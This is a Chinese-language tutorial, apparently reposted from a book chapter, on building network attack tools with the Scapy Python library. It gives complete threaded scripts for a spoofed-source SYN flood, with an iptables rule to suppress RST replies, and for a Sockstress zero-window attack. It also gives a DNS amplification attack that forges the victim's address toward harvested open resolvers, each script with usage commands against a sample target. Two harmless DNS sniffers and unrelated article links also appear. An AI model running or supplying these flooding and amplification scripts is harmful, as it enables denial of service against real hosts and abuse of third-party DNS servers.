Python 使用Scapy构造特殊数据包

news2024/11/26 8:17:59

Scapy是一款Python库,可用于构建、发送、接收和解析网络数据包。除了实现端口扫描外,它还可以用于实现各种网络安全工具,例如SynFlood攻击,Sockstress攻击,DNS查询攻击,ARP攻击,ARP中间人等。这些工具都是基于构造、发送和解析网络数据包来实现的,可以用于模拟各种网络攻击,测试网络安全防御措施等。Scapy是网络安全领域中非常有用的工具之一。

21.4.1 SynFlood

Syn-Flood(Syn洪水攻击)是一种常见的DoS拒绝服务攻击方式,也被称为TCP Syn-Flood攻击。攻击者利用TCP连接建立过程中的漏洞,向目标主机发送大量的TCP连接请求(SYN),目标主机在收到这些请求后会回复一个SYN/ACK确认请求,但是攻击者并不回复ACK确认,使得目标主机在等待ACK确认的过程中,消耗大量的系统资源和带宽,从而导致目标主机无法正常处理合法的连接请求,使得正常用户无法访问该服务。

默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。在Windows系统下这个半开连接数是10个,具体来说攻击者可以通过伪造地址对服务器发起SYN请求,服务器就会回应SYN+ACK此时攻击者的主机如果拒绝发送RST+ACK标志,那么服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time超时(一般30秒-2分钟)后,丢弃这个连接,虽然有丢包的功能,但是如果攻击者的攻击速度大于目标主机的丢包速度,那么TCP连接池将被填满,此时正常用户将会无法连接到程序中而导致拒绝服务。

由于在发送SYN报文后我们不希望接收到目标主机回复给我们的RST标志,所以需要执行如下这条防火墙命令,将发送到被害IP的RST包丢弃,这样就可以构造出一个非完全TCP链接,也正是我们想要的效果。

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害主机IP地址 -j DROP

接着就是完整的攻击代码,这段代码需要在Linux系统下运行,在运行之前需要指定iface网卡接口,当指定后即可调用攻击代码代码片段实现发包。

#coding=utf-8
import argparse
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机TCP/IP半开放连接数
def synflood(target,dstport):
    # 加锁
    semaphore.acquire()
    issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
    isport = random.randint(1,65535)
    ip = IP(src = issrc,dst = target)
    syn = TCP(sport = isport, dport = dstport, flags = 'S')
    send(ip / syn, verbose = 0)
    print("[+] sendp --> {} {}".format(target,isport))
    # 释放锁
    semaphore.release()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-H","--host",dest="host",type=str,help="输入被攻击主机IP地址")
    parser.add_argument("-p","--port",dest="port",type=int,help="输入被攻击主机端口")
    parser.add_argument("--type",dest="types",type=str,help="指定攻击的载荷 (synflood)")
    parser.add_argument("-t","--thread",dest="thread",type=int,help="指定攻击并发线程数")
    args = parser.parse_args()
    # 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
    if args.types == "synflood" and args.host and args.port and args.thread:
        semaphore = threading.Semaphore(args.thread)
        while True:
            t = threading.Thread(target=synflood,args=(args.host,args.port))
            t.start()
    else:
        parser.print_help()

读者可自行运行上述代码,通过传入--type=synflood -H 192.168.1.1 -p 80 -t 10参数,其含义是对192.168.1.1主机的80端口执行洪水攻击,并启用10个线程执行,输出效果图如下所示;

21.4.2 SockStress

SockStress 全连接攻击属于TCP全连接攻击,其攻击的原理与SYN Flood攻击类似,但是它使用完整的TCP三次握手,这使得它更难以检测和防御。该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0实现拒绝服务。攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。

该攻击方式通过与目标主机建立大量的socket连接,并且都是完整连接,最后的ACK包,将Window窗口大小设置为0,客户端不接收数据,而服务器此时会认为客户端缓冲区还没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机模式也可以拒绝高配的服务器。

#coding=utf-8
import argparse
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机的Window窗口
def sockstress(target,dstport):
    # 加锁
    semaphore.acquire()
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    # 释放锁
    semaphore.release()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-H","--host",dest="host",type=str,help="输入被攻击主机IP地址")
    parser.add_argument("-p","--port",dest="port",type=int,help="输入被攻击主机端口")
    parser.add_argument("--type",dest="types",type=str,help="指定攻击的载荷 (sockstress)")
    parser.add_argument("-t","--thread",dest="thread",type=int,help="指定攻击并发线程数")
    args = parser.parse_args()
    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if args.types == "sockstress" and args.host and args.port and args.thread:
        semaphore = threading.Semaphore(args.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(args.host,args.port))
            t.start()
    else:
        parser.print_help()

这段代码的使用方法与SynFlood攻击保持一致,通过指定--type=sockstress -H 192.168.1.1 -p 80 -t 100即可实现对特定主机特定端口的拒绝服务,输出效果如下图所示;

21.4.3 DNSSelect

DNS查询放大攻击是一种利用域名系统(DNS)服务器的缺陷来放大攻击流量的网络攻击。攻击者通过向具有恶意域名的DNS服务器发送DNS查询请求,该服务器会向被攻击者发送响应,但是响应内容比请求更大。攻击者可以利用这种响应的放大效应,将大量流量发送到被攻击者的系统上,从而导致系统资源的耗尽和服务不可用。

该攻击可以通过欺骗和利用DNS协议的特性进行,通常利用UDP端口53来执行。攻击者会伪造一个源IP地址,向DNS服务器发送一个查询请求,请求的数据包比较小,但是响应的数据包比请求的数据包大很多,这就导致了放大的效果。

DNS是域名系统(Domain Name System)的缩写,是一个用于将域名转换为IP地址的分布式数据库系统。在进行DNS查询时,客户端会向DNS服务器发送DNS查询请求(DNS Query,DNSQR)包,DNS服务器则会回应DNS响应(DNS Response,DNSRR)包。

一个DNSQR包含以下重要的字段:

  • 问题域名(QNAME):需要进行查询的域名
  • 查询类型(QTYPE):查询的类型,例如A记录、AAAA记录、CNAME记录等
  • 查询类(QCLASS):查询的类别,通常为Internet(IN)

一个DNSRR包含以下重要的字段:

  • 资源记录名称(RR NAME):资源记录的名称
  • 资源记录类型(TYPE):资源记录的类型,例如A记录、AAAA记录、CNAME记录等
  • 资源记录类(CLASS):资源记录的类别,通常为Internet(IN)
  • 生存时间(TTL):资源记录在DNS缓存中的生存时间
  • 数据长度(RDLENGTH):资源记录的数据长度
  • 资源记录数据(RDATA):资源记录的数据,例如IPv4地址、IPv6地址、域名等

我们首先使用Scapy库解析DNSRR数据包,DNSRR是DNS协议中的一种资源记录(Resource Record),用于表示DNS服务器返回的回答记录。其格式包括了Name(域名)、Type(资源记录类型)、Class(资源记录类别)、TTL(生存时间)、RDLENGTH(数据长度)、RDATA(数据)。

DNS响应中,通常会有多个DNSRR记录,每个记录包含一个域名对应的IP地址或其他资源信息。例如,一个A记录的DNSRR会包含一个域名和一个IPv4地址。而MX记录的DNSRR则会包含一个域名和一个邮件服务器的优先级和地址,如下代码实现了分别提取出含有查询的域名和对应的IPrrnamerdata变量,并将这些数据输出到屏幕。

#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP

# 检查数据包的IP层,提取出IP和TTL字段的值
def Get_TTL(pkt):
    try:
        if pkt.haslayer(IP):
            ip_src = pkt.getlayer(IP).src
            ip_sport = pkt.getlayer(IP).sport
            ip_dst = pkt.getlayer(IP).dst
            ip_dport = pkt.getlayer(IP).dport
            ip_ttl = str(pkt.ttl)
            print("[+] 源地址: %15s:%-5s --> 目标地址: %15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl))
    except Exception:
        pass

# 获取本机发送出去的DNS请求所对应的网站地址
def GetDNSRR(pkt):
    if pkt.haslayer(DNSRR):
        rrname = pkt.getlayer(DNSRR).rrname
        rdata = pkt.getlayer(DNSRR).rdata
        ttl = pkt.getlayer(DNSRR).ttl
        print("[+] 域名: {} --> 别名: {} --> TTL: {}".format(rrname,rdata,ttl))

if __name__=="__main__":
    sniff(prn=GetDNSRR,store=0)

读者可自行运行上述代码,此时当有DNS查询时,则会自动解析出对应的别名以及该主机的TTL值,如下图所示;

接着我们来解析一下DNSQR,DNSQR是DNS查询请求的部分,用于DNS协议的域名解析。DNSQR包含以下字段:

  • qname:表示查询的域名,例如www.lyshark.com
  • qtype:表示查询类型,通常为A记录、CNAME记录、MX记录等
  • qclass:表示查询类别,通常为IN(Internet)

DNSQR记录通常包含在DNS消息中的请求部分中,请求部分也可以包含多个DNSQR记录,每个记录对应一个查询,解析此类数据同样很容易实现,具体代码如下所示;

#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP

# 获取本机发送出去的网址请求解析为IP URL --> IP
def GetDNSQR(pkt):
    # 判断是否含有DNSRR且存在UDP端口53
    if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
        rcode = pkt.getlayer(DNS).rcode
        qname = pkt.getlayer(DNSQR).qname
        # 若rcode为3,则表示该域名不存在
        if rcode == 3:
            print("[-] 域名解析不存在")
        else:
            print("[+] 解析存在:" + str(qname))

if __name__=="__main__":
    sniff(prn=GetDNSQR,store=0)

读者可运行上述代码,此时即可输出当前系统内访问过的链接,输出效果如下图所示;

接着我们就来实现查询放大攻击,查询放大攻击的原理是,通过网络中存在的DNS服务器资源,对目标主机发起拒绝服务攻击,通过伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。

查询放大攻击的实施依赖于海量的DNS服务器资源,所以在执行攻击时需要自行寻找这些服务器资源,当找到后则可存储到文件内,当需要使用时首先调用Inspect_DNS_Usability函数依次验证DNS服务器的可用性,并将可用的地址保存为pass.log文件,当需要发起攻击时可通过DNS_Flood调用并传入合法的DNS服务器地址实现DNS查询。

import os,sys,threading,time
from scapy.all import *
import argparse

def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list

def DNS_Flood(target,dns):
    # 构造IP数据包
    ip_pack = IP()
    ip_pack.src = target
    ip_pack.dst = dns
#   ip_pack.src = "192.168.1.2"
#   ip_pack.dst = "8.8.8.8"
    # 构造UDP数据包
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    # 构造DNS数据包
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    # 构造DNSQR解析
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
    parser.add_argument("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
    parser.add_argument("-t",dest="target",help="输入需要攻击的IP地址")
    args = parser.parse_args()
    # 使用方式: main.py --mode=check -f xxx.log
    if args.mode == "check" and args.file:
        proxy = Inspect_DNS_Usability(args.file)
        fp = open("pass.log","w+")
        for item in proxy:
            fp.write(item + "\n")
        fp.close()
        print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
    # 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
    elif args.mode == "flood" and args.target and args.file:
        with open(args.file,"r") as fp:
            countent = [line.rstrip("\n") for line in fp]
            while True:
                randomDNS = str(random.sample(countent,1)[0])
                print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target,randomDNS))
                t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
                t.start()
    else:
        parser.print_help()

读者可保存这段代码,并自行准备一些DNS服务器地址,放入到dns.log目录下,通过执行如下所示的命令即可依次验证服务器地址可用性,如果可用则自动保存到pass.log文件内,输出效果如下所示;

当需要对特定主机发起攻击时,可执行如下命令,其中-t带指的则是需要攻击的IP地址,输出效果图如下所示;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1179159.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Akshare获取同花顺行业

使用akshare可以很方便的获取同花顺行业列表&#xff0c;与每个行业对应的个股信息&#xff0c;流程如下&#xff1a; 使用ak.stock_board_industry_summary_ths()获取行业列表循环行业列表&#xff0c;使用ak.stock_board_industry_cons_ths()获取行业对应的个股信息 官方文…

工厂模式 rust和java的实现

文章目录 工厂模式特点介绍工厂模式包含以下几个核心角色&#xff1a;实现架构java 实现rust实现rust代码仓库 工厂模式 工厂模式&#xff08;Factory Pattern&#xff09;是最常用的设计模式之一。这种类型的设计模式属于创建型模式&#xff0c;它提供了一种创建对象的最佳方…

gitlab数据备份和恢复

gitlab数据备份 sudo gitlab-rake gitlab:backup:create备份文件默认存放在/var/opt/gitlab/backups路径下&#xff0c; 生成1697101003_2023_10_12_12.0.3-ee_gitlab_backup.tar 文件 gitlab数据恢复 sudo gitlab-rake gitlab:backup:restore BACKUP1697101003_2023_10_12_…

[C/C++]数据结构 链表OJ题: 链表分割

题目描述: 现有一链表的头指针 ListNode* pHead&#xff0c;给一定值x&#xff0c;编写一段代码将所有小于x的结点排在其余结点之前&#xff0c;且不能改变原来的数据顺序&#xff0c;返回重新排列后的链表的头指针。 解题思路: 创建两个新链表,head1,head2, 遍历原链表,把小于…

Hive从入门到大牛【Hive 学习笔记】

文章目录 什么是HiveHive的数据存储Hive的系统架构MetastoreHive VS Mysql数据库 VS 数据仓库 Hive安装部署Hive的使用方式命令行方式JDBC方式 Set命令的使用Hive的日志配置Hive中数据库的操作Hive中表的操作 Hive中的数据类型基本数据类型复合数据类型ArrayMapStructStruct和M…

第三方美颜SDK是什么?在直播平台中有哪些应用?

第三方美颜SDK已经成为许多应用和平台的核心功能之一&#xff0c;它们为用户提供了一种改善自己在直播和视频分享中外表的方式。本文将探讨第三方美颜SDK是什么&#xff0c;以及它们在直播平台中的各种应用。 一、什么是第三方美颜SDK&#xff1f; 第三方美颜SDK是一组软件工…

[动态规划] (十) 路径问题 LeetCode 174.地下城游戏

[动态规划] (十) 路径问题: LeetCode 174.地下城游戏 文章目录 [动态规划] (十) 路径问题: LeetCode 174.地下城游戏题目解析解题思路状态表示状态转移方程初始化和填表顺序返回值 代码实现总结 174. 地下城游戏 题目解析 先明白下题题再来看。 [动态规划] (四) LeetCode 91.…

RK3568平台 内存的基本概念

一.Linux的Page Cache page cache&#xff0c;又称pcache&#xff0c;其中文名称为页高速缓冲存储器&#xff0c;简称页高缓。page cache的大小为一页&#xff0c;通常为4K。在linux读写文件时&#xff0c;它用于缓存文件的逻辑内容&#xff0c;从而加快对磁盘上映像和数据的访…

搭建个人hMailServer邮件服务实现远程发送邮件

文章目录 前言1. 安装hMailServer2. 设置hMailServer3. 客户端安装添加账号4. 测试发送邮件5. 安装cpolar6. 创建公网地址7. 测试远程发送邮件8. 固定连接公网地址9. 测试固定远程地址发送邮件 前言 hMailServer 是一个邮件服务器,通过它我们可以搭建自己的邮件服务,通过cpola…

【hcie-cloud】【2】华为云Stack解决方案介绍、缩略语整理 【下】

文章目录 华为文档获取方式、云计算发展背景、坚实基座华为云Stack&#xff0c;政企只能升级首选智能数据湖仓一体&#xff0c;让业务洞见更准&#xff0c;价值兑现更快MRS&#xff1a;一个架构可构建三种数据湖&#xff0c;业务场景更丰富离线数据湖&#xff1a;提供云原生、湖…

Javaweb之javascript的详细解析

JavaScript html完成了架子&#xff0c;css做了美化&#xff0c;但是网页是死的&#xff0c;我们需要给他注入灵魂&#xff0c;所以接下来我们需要学习JavaScript&#xff0c;这门语言会让我们的页面能够和用户进行交互。 1.1 介绍 通过代码/js效果演示提供资料进行效果演示&…

微信小程序自动化采集方案

本文仅供学习交流&#xff0c;只提供关键思路不会给出完整代码&#xff0c;严禁用于非法用途&#xff0c;拒绝转载&#xff0c;若有侵权请联系我删除&#xff01; 一、引言 1、对于一些破解难度大&#xff0c;花费时间长的目标&#xff0c;我们可以先采用自动化点击触发请求&…

【LeetCode】每日一题 2023_11_6 最大单词长度乘积

文章目录 刷题前唠嗑题目&#xff1a;最大单词长度乘积题目描述代码与解题思路偷看大佬题解 结语 刷题前唠嗑 LeetCode? 启动&#xff01;&#xff01;&#xff01; 题目&#xff1a;最大单词长度乘积 题目链接&#xff1a;318. 最大单词长度乘积 题目描述 代码与解题思路…

安防监控系统EasyNVR平台获取通道快照的两种方式

视频安防监控平台EasyNVR可支持设备通过RTSP/Onvif协议接入&#xff0c;并能对接入的视频流进行处理与多端分发&#xff0c;包括RTSP、RTMP、HTTP-FLV、WS-FLV、HLS、WebRTC等多种格式。为了便于用户集成调用与二次开发&#xff0c;我们也提供了丰富的API接口供大家使用。今天我…

挑战100天 AI In LeetCode Day02(2)

挑战100天 AI In LeetCode Day02&#xff08;2&#xff09; 一、LeetCode介绍二、LeetCode 热题 HOT 100-42.1 题目2.2 题解 三、面试经典 150 题-43.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站&#xff0c;提供各种算法和数据结构的题目&#xff0c;面向程序…

数据约束及增删改查(CRUD)进阶-MySQL

文章目录 一、数据库约束1.1 约束类型1.2 NULL约束1.3 UNIQUE&#xff1a;唯一约束1.4 DEFAULT&#xff1a;默认值约束1.5 PRIMARY KEY&#xff1a;主键约束1.6 FOREIGN KEY&#xff1a;外键约束1.7 CHECK 约束&#xff08;了解&#xff09; 二、表的设计2.1 一对一2.2 一对多2…

AI:63-基于Xception模型的服装分类

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌在这个漫长的过程,中途遇到了不少问题,但是…

「随笔」IT行业哪个方向比较好就业

一、IT行业就业的PEST分析 在当前的全球经济环境下&#xff0c;IT行业的发展迅速&#xff0c;就业前景广阔。以下从政治、经济、社会和科技四个维度对IT行业就业进行PEST分析。 1.1 政治&#xff08;Political&#xff09; 政府政策&#xff1a;近年来&#xff0c;各国政府都…

TCP三次握手四次挥手深入

TCP工作在网络协议栈的传输层&#xff0c;在这一层上传输的数据叫段&#xff08;Segment&#xff09; 我们应用程序的数据会先打包到传输层&#xff0c;传输层再交给下层网际层&#xff0c;再交给下层数据链路层 上图中有四个东西是非常重要的&#xff1a; 序号&#xff1a;…

网络渗透课2

题目 1、Kali虚拟机采用桥接模式&#xff1b;物理机连接Guet-WiFi&#xff0c;Kali中查看网络配置并截图&#xff0c;能获得IP地址吗&#xff1f; 2、Kali虚拟机采用桥接模式&#xff1b;物理机连接手机热点&#xff0c;Kali中查看网络配置并截图&#xff0c;能获得IP地址吗&a…